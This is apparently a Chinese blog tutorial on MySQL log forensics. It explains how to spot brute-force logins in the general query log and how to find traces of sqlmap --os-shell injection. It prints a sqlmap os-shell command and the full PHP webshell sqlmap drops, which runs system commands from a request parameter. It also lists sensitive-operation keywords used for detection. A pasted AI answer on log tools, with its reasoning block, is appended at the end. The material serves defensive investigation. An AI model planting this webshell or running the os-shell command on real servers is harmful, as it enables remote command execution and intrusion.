MySQL日志分析

常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。

0x01 Mysql日志分析

general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。

1、查看log配置信息
show variables like '%general%';
2、开启日志
SET GLOBAL general_log = 'On';
3、指定日志文件路径
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

比如,当我访问 /test.php?id=1,此时我们得到这样的日志:

190604 14:46:14       14 Connect    root@localhost on 
           14 Init DB    test
           14 Query    SELECT * FROM admin WHERE id = 1
           14 Quit  `

我们按列来解析一下:

第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
第二列:Id,就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
第三列:Command,操作类型,比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。
第四列:Argument,详细信息,例如 Connect    root@localhost on 意思就是连接数据库,如此类推,接下面的连上数据库之后,做了什么查询的操作。

0x02 登录成功/失败

我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nUXwpt14-1684216197916)(./image/log-5-1.png)]

MySQL中的log记录是这样子:

Time                 Id        Command         Argument

190601 22:03:20	   98 Connect	root@192.168.204.1 on 
		   98 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
		  103 Connect	mysql@192.168.204.1 on 
		  103 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
		  104 Connect	mysql@192.168.204.1 on 
		  104 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
		  100 Connect	root@192.168.204.1 on 
		  101 Connect	root@192.168.204.1 on 
		  101 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
		   99 Connect	root@192.168.204.1 on 
		   99 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
		  105 Connect	mysql@192.168.204.1 on 
		  105 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
		  100 Query	set autocommit=0
		  102 Connect	mysql@192.168.204.1 on 
		  102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
		  100 Quit	`

你知道在这个口令猜解过程中,哪个是成功的吗?

利用爆破工具,一个口令猜解成功的记录是这样子的:

190601 22:03:20     100 Connect	root@192.168.204.1 on 
	   100 Query	set autocommit=0
	   100 Quit

但是,如果你是用其他方式,可能会有一点点不一样的哦。

Navicat for MySQL登录:

190601 22:14:07	  106 Connect	root@192.168.204.1 on 
		         106 Query	SET NAMES utf8
		         106 Query	SHOW VARIABLES LIKE 'lower_case_%'
		         106 Query	SHOW VARIABLES LIKE 'profiling'
		         106 Query	SHOW DATABASES

命令行登录:

190601 22:17:25	  111 Connect	root@localhost on 
		         111 Query	select @@version_comment limit 1
190601 22:17:56	  111 Quit

这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。

另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。

登录失败的记录:

102 Connect	mysql@192.168.204.1 on 
102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

利用shell命令进行简单的分析:

#有哪些IP在爆破?
grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1

#爆破用户名字典都有哪些?
grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
     13 mysql
     12 root
      1 root
      1 mysql

在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。

敏感数据库表:SELECT * from mysql.user、SELECT * from mysql.func

0x03 SQL注入入侵痕迹

在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的–os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:

1、构造一个SQL注入点,开启Burp监听8080端口

sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP通讯过程如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gX9pPd7i-1684216197917)(./image/log-5-3.png)]

创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。

tmpbwyov.php:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "
".$w."
";?>`

创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。

通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。

检查方法:

1、检查网站目录下,是否存在一些木马文件:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NWkeLuc8-1684216197917)(./image/log-5-4.png)]

2、检查是否有UDF提权、MOF提权痕迹

检查目录是否有异常文件

mysql\lib\plugin

c:/windows/system32/wbem/mof/

检查函数是否删除

select * from mysql.func

3、结合web日志分析。

<think>嗯,用户想分析MySQL日志,我需要先弄清楚他们具体需要哪种日志类型。MySQL有多种日志,比如错误日志、慢查询日志、二进制日志、通用查询日志等等。每种日志的用途和分析方法不同,所以首先得明确用户的需求。可能用户没有明确说明,需要我主动指出不同的日志类型,并分别给出对应的分析方法和工具。 接下来,用户提到的工具和技术,我应该推荐一些常用的,比如自带的工具如mysqldumpslow、mysqlbinlog,还有第三方工具如Percona Toolkit、pt-query-digest。另外,可视化工具如ELK Stack或者Percona Monitoring and Management可能也是用户需要的,特别是如果用户想要更直观的分析结果的话。 然后,考虑到用户可能对具体步骤不太清楚,我应该分步骤说明如何配置日志,比如开启慢查询日志,设置参数,然后使用工具分析。还要注意权限问题,比如访问二进制日志可能需要特定的权限,或者使用sudo。此外,分析慢查询日志时,优化SQL语句是关键,需要提到如何根据工具输出的结果进行优化,比如添加索引、重构查询等。 可能用户还关心如何自动化分析,或者集成到现有系统中,比如用ELK收集日志,生成仪表板。这时候需要提到Filebeat和Logstash的配置,以及Kibana的可视化方法。同时,引用中的参考资料4提到了Kibana的使用,可以引用一下,增强可信度。 另外,用户可能不知道如何开始,所以需要给出具体的命令示例,比如如何启动慢查询日志,运行pt-query-digest等。还有注意事项,比如日志文件的大小和轮转,避免影响数据库性能,这些也是重要的点。 最后,生成的相关问题需要覆盖日志类型选择、工具推荐、优化方法、安全分析以及自动化监控,这样用户如果有进一步的问题,可以引导他们继续探索。同时,引用中提到的AVDF的DF部分可能涉及审计粒度,虽然不直接相关,但可以提醒用户根据需求调整日志的详细程度,避免资源浪费。</think>### 如何分析MySQL日志 分析MySQL日志需要根据日志类型选择工具和方法。以下是关键步骤和技术: --- #### 一、明确日志类型 1. **错误日志(Error Log)** - 路径:默认位于`/var/log/mysql/error.log`(路径可能因系统配置而异) - 分析工具:`grep`/`tail`命令,例如查找特定错误: ```bash grep "ERROR" /var/log/mysql/error.log ``` 2. **慢查询日志(Slow Query Log)** - 开启方式:在MySQL配置文件中设置: ```ini slow_query_log = 1 slow_query_log_file = /var/log/mysql/mysql-slow.log long_query_time = 2 # 记录执行超过2秒的查询 ``` - 分析工具: - 内置工具`mysqldumpslow`: ```bash mysqldumpslow -s t /var/log/mysql/mysql-slow.log ``` - **Percona Toolkit**中的`pt-query-digest`: ```bash pt-query-digest /var/log/mysql/mysql-slow.log ``` 3. **二进制日志(Binary Log)** - 用途:记录数据变更操作(如INSERT/UPDATE/DELETE) - 解析工具:`mysqlbinlog` ```bash mysqlbinlog --base64-output=DECODE-ROWS -v /var/log/mysql/binlog.000001 ``` 4. **通用查询日志(General Query Log)** - 记录所有SQL语句,需谨慎开启(可能产生大文件) - 分析方式:使用文本工具过滤关键操作,如事务提交频率或特定表访问。 --- #### 二、推荐分析工具 1. **内置工具** - `mysqldumpslow`:快速统计慢查询模式 - `mysqlbinlog`:解析二进制日志,支持时间范围过滤(`--start-datetime`) 2. **第三方工具** - **Percona Toolkit**: - `pt-query-digest`:生成慢查询报告,标记高负载SQL - `pt-index-usage`:分析索引使用情况[^2] - **ELK Stack(Elasticsearch+Logstash+Kibana)**: - 使用Filebeat收集日志,通过Kibana可视化分析(如查询耗时分布)[^4] --- #### 三、分析流程 1. **慢查询优化** - 通过`pt-query-digest`识别TOP N高耗时查询 - 使用`EXPLAIN`分析执行计划,优化索引或重构SQL 2. **事务一致性检查** - 解析二进制日志,验证数据变更是否符合预期 3. **错误诊断** - 从错误日志中提取上下文(如死锁信息`Deadlock found`),结合时间戳排查并发问题 --- #### 四、注意事项 1. **日志轮转** - 使用`logrotate`避免日志文件过大 2. **权限控制** - 日志文件需`mysql`用户权限,分析时可能需要`sudo` 3. **性能影响** - 开启通用查询日志或详细日志级别可能影响数据库性能 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Stestack

你的鼓励是我最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值